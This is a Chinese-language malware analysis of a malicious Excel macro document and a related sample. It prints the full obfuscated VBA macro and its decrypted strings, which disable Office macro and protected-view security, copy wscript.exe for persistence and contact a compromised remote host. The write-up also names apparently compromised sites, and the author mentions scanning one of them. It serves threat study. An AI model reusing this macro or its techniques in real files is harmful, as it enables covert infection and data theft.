0x00 前言
0x01 基本信息
样本上传vt时间为2020-1-19,样本名称为KTB-TR.xls
样本名称中所用到的疑似为日本的健身俱乐部
样本打开后内容如下,冒充微软提示用户启用宏
宏代码结构如下:
代码会从名为F的窗体中读取数据
完整宏代码经过与优化后如下:
Public ajkr As ObjectFunction xekkdrvqds() As StringOn Error GoTo hfmzpSet pnhbx = CallByName(ajkr, yoopegezdw(0), VbMethod, yoopegezdw(1), )jpgdd = CallByName(pnhbx, yoopegezdw(2), VbGet)jpgdd = jpgdd & yoopegezdw(3) & CallByName(pnhbx, yoopegezdw(4), VbGet)jpgdd = jpgdd & yoopegezdw(3) & CallByName(pnhbx, yoopegezdw(6), VbGet)jpgdd = jpgdd & yoopegezdw(3) & CallByName(Application, yoopegezdw(8), VbGet)xekkdrvqds = jpgddExit FunctionhfmzpMsgBox yoopegezdw(9), vbCritical, yoopegezdw(10)End FunctionFunction kcqsgnodsj()On Error GoTo zkshdSet pnhbx = CallByName(ajkr, yoopegezdw(0), VbMethod, yoopegezdw(12), )jpgdd = yoopegezdw(13)hfmzp = yoopegezdw(14) & CallByName(Application, yoopegezdw(15), VbGet) & yoopegezdw(16)CallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(18), 1, jpgddCallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(20), 1, jpgddCallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(22), 1, jpgddCallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(24), 1, jpgddCallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(26), 1, jpgddSet dqtbl = CallByName(ajkr, yoopegezdw(0), VbMethod, yoopegezdw(28), )If Len(Environ(yoopegezdw(29))) 0 ThenCallByName dqtbl, yoopegezdw(30), VbMethod, yoopegezdw(31), yoopegezdw(32)ElseCallByName dqtbl, yoopegezdw(30), VbMethod, yoopegezdw(34), yoopegezdw(32)End IfCallByName pnhbx, yoopegezdw(17), VbMethod, yoopegezdw(37), yoopegezdw(38) & yoopegezdw(39), yoopegezdw(40)Open yoopegezdw(39) For Output As #1Print #1, zvmyittedp(CallByName(F, yoopegezdw(42), VbGet))Close #1Exit FunctionzkshdMsgBox yoopegezdw(9), vbCritical, yoopegezdw(10)End FunctionFunction zvmyittedp(aaeov As String) As StringOn Error GoTo pnhbxjpgdd = T.Text & ThisWorkbook.Namehfmzp =dqtbl = 0For zkshd = 1 To Len(aaeov) Step 4ppwrz = Asc(Mid(jpgdd, (dqtbl Mod Len(jpgdd) + 1), 1))xqony = Mid(aaeov, 1, 4)xqony = xqony - ppwrzaaeov = Right(aaeov, Len(aaeov) - 4)dqtbl = dqtbl + 1hfmzp = hfmzp + Strings.Chr(xqony)Next zkshdzvmyittedp = hfmzpExit FunctionpnhbxMsgBox yoopegezdw(9), vbCritical, yoopegezdw(10)End FunctionFunction zvwcniwjoz()On Error GoTo jpgddDim hfmzp As Stringhfmzp = yoopegezdw(47)Set ajkr = CreateObject(hfmzp)kcqsgnodsjDim pnhbx As ObjectSet pnhbx = CallByName(ajkr, yoopegezdw(0), VbMethod, yoopegezdw(49), )CallByName pnhbx, yoopegezdw(50), VbMethod, yoopegezdw(51), yoopegezdw(52) & xekkdrvqds, FalseCallByName pnhbx, yoopegezdw(53), VbMethod,CallByName pnhbx, yoopegezdw(54), VbMethodExit FunctionjpgddMsgBox yoopegezdw(9), vbCritical, yoopegezdw(10)End FunctionFunction yoopegezdw(pnhbx) As Stringjpgdd = Split(F.L, .)Dim hfmzp As Stringhfmzp = jpgdd(pnhbx)yoopegezdw = zvmyittedp(hfmzp)End Function
程序最开始会通过Split函数将窗体F中F控件中的内容以.分割开
分割之后一共得到57个字符串:
第一次运行的时候会通过zvmyittedp函数解密索引为47的字符串:
解密算法如下:
解密得到RDS.DataSpace
经过查询,RDS.DataSpace可能与IE的一个漏洞相关
目前还不能确定,接着往下看,程序会创建RDS.DataSpace对象,接着调用kcqsgnodsj函数
kcqsgnodsj函数内容如下
在kcgsgnodsj函数中,程序首先会通过CallByName函数来执行对象方法,关键参数为之前读取到的窗体中索引为0和12的值,分别是CreateObject和WScript.Shell
通过CallByName修改注册表
几个参数的值分别为
| yoopegezdw(13) | “REG_DWORD” |
|---|---|
| yoopegezdw(14) | “HKCU\Software\Microsoft\Office\“ |
| yoopegezdw(15) | “Version” |
| yoopegezdw(16) | “\Excel\Security\“ |
接着会通过CallByName继续执行五个对象方法,主要参数分别是索引为18 20 22 24 26 的内容,且根据这里jpgdd的内容(REG_DWORD) 基本可以知道这五个CallByName都是注册表相关的操作
解密之后,参数的值分别如下:
| yoopegezdw(17) | “RegWrite” |
|---|---|
| yoopegezdw(18) | “ProtectedView\DisableInternetFilesIndx” |
| yoopegezdw(20) | “ProtectedView\DisableAttachmentsInPV” |
| yoopegezdw(22) | “ProtectedView\DisableUnsafeLocations]?-P” |
| yoopegezdw(24) | “AccessVBOM” |
| yoopegezdw(26) | “VBAWarnings” |
通过对这些注册表键值的分析我们得知,这几个函数用于解除office保护,宏保护等。
CallByName调用yoopegezdw(28)
我们之前已经分析过,yoopegezdw(0)的值是”CreateObject”
通过调试,yoopegezdw(28)的值为”Scripting.FileSystemObject”
说明这里会创建一个文件对象,保存到dptbl,通常来说,文件对象的创建可以用于获取本地主机的一些关键路径。
然后判断索引为29的值,判断之后利用刚才保存的dptbl对象进行新的调用
| yoopegezdw(29) | “ProgramW6432” |
|---|---|
| yoopegezdw(30) |
“CopyFile” |
| yoopegezdw(31) | “c:\Windows\SysWOW64\wscript.exe” |
| yoopegezdw(32) | “C:\Windows\System32\spool\drivers\co€?OV~?e?hwvc” |
通过分析可以得知,程序是尝试将wscript文件拷贝到指定目录,如果拷贝出错则会给出如下提示
同时,如果索引29的值判断失败,还有两个else分支可以执行
执行的分支所用到的新参数如下
| yoopegezdw(34) | “c:\windows\system32\wscript.exe” |
|---|---|
| yoopegezdw(37) | “HKCU\Software\Microsoft\Windows\Curry?QP??l??€ZPG=_Ru82?Pt??v5C?ii?zt” |
| yoopegezdw(38) | “C:\Windows\System32\spool\drivers\co€?OV~?e?hwvcH7x9>S” |
| yoopegezdw(39) | “C:\Windows\System32\spool\drivers\co€?OV??`??zru6pjr” |
| yoopegezdw(40) | “REG_SZ” |
这里代码基本分析完成了,我们可以尝试根据vbs的解密算法,使用python实现一个并对之前的字符串进行解密:
解密出的字符串如下:
可以看到最后面有个请求地址http://advanceorthocenter.com
该地址的主域名看样子是一个正常的医疗博客,看样子是被攻击者拿了shell并作为攻击的payload加载服务器。
看样子此次捕获的样本并不能在中文操作系统上运行(编码不同的原因)
回家了看看能不能扫一下这个站点,发现点其他东西。
0x02 关联样本
经过追溯,发现一个关联样本,文件hash为46f911014f1202e17936f627f34e6165
该样本与19年9月被首次提交,最后提交时间为19年11月底
样本内容如下,依旧是伪造office官方诱导用启用宏
同之前的样本,该样本有62个待解密的字符串,解密算法有轻微变化。
直接修改vbs代码遍历解密写入到文件
可以看到解密的内容和之前也是几乎相同
这里请求的域名依旧是一个wp站点
https://www.ksahosting.net/wp-includqs/r?Nvbv? c=???
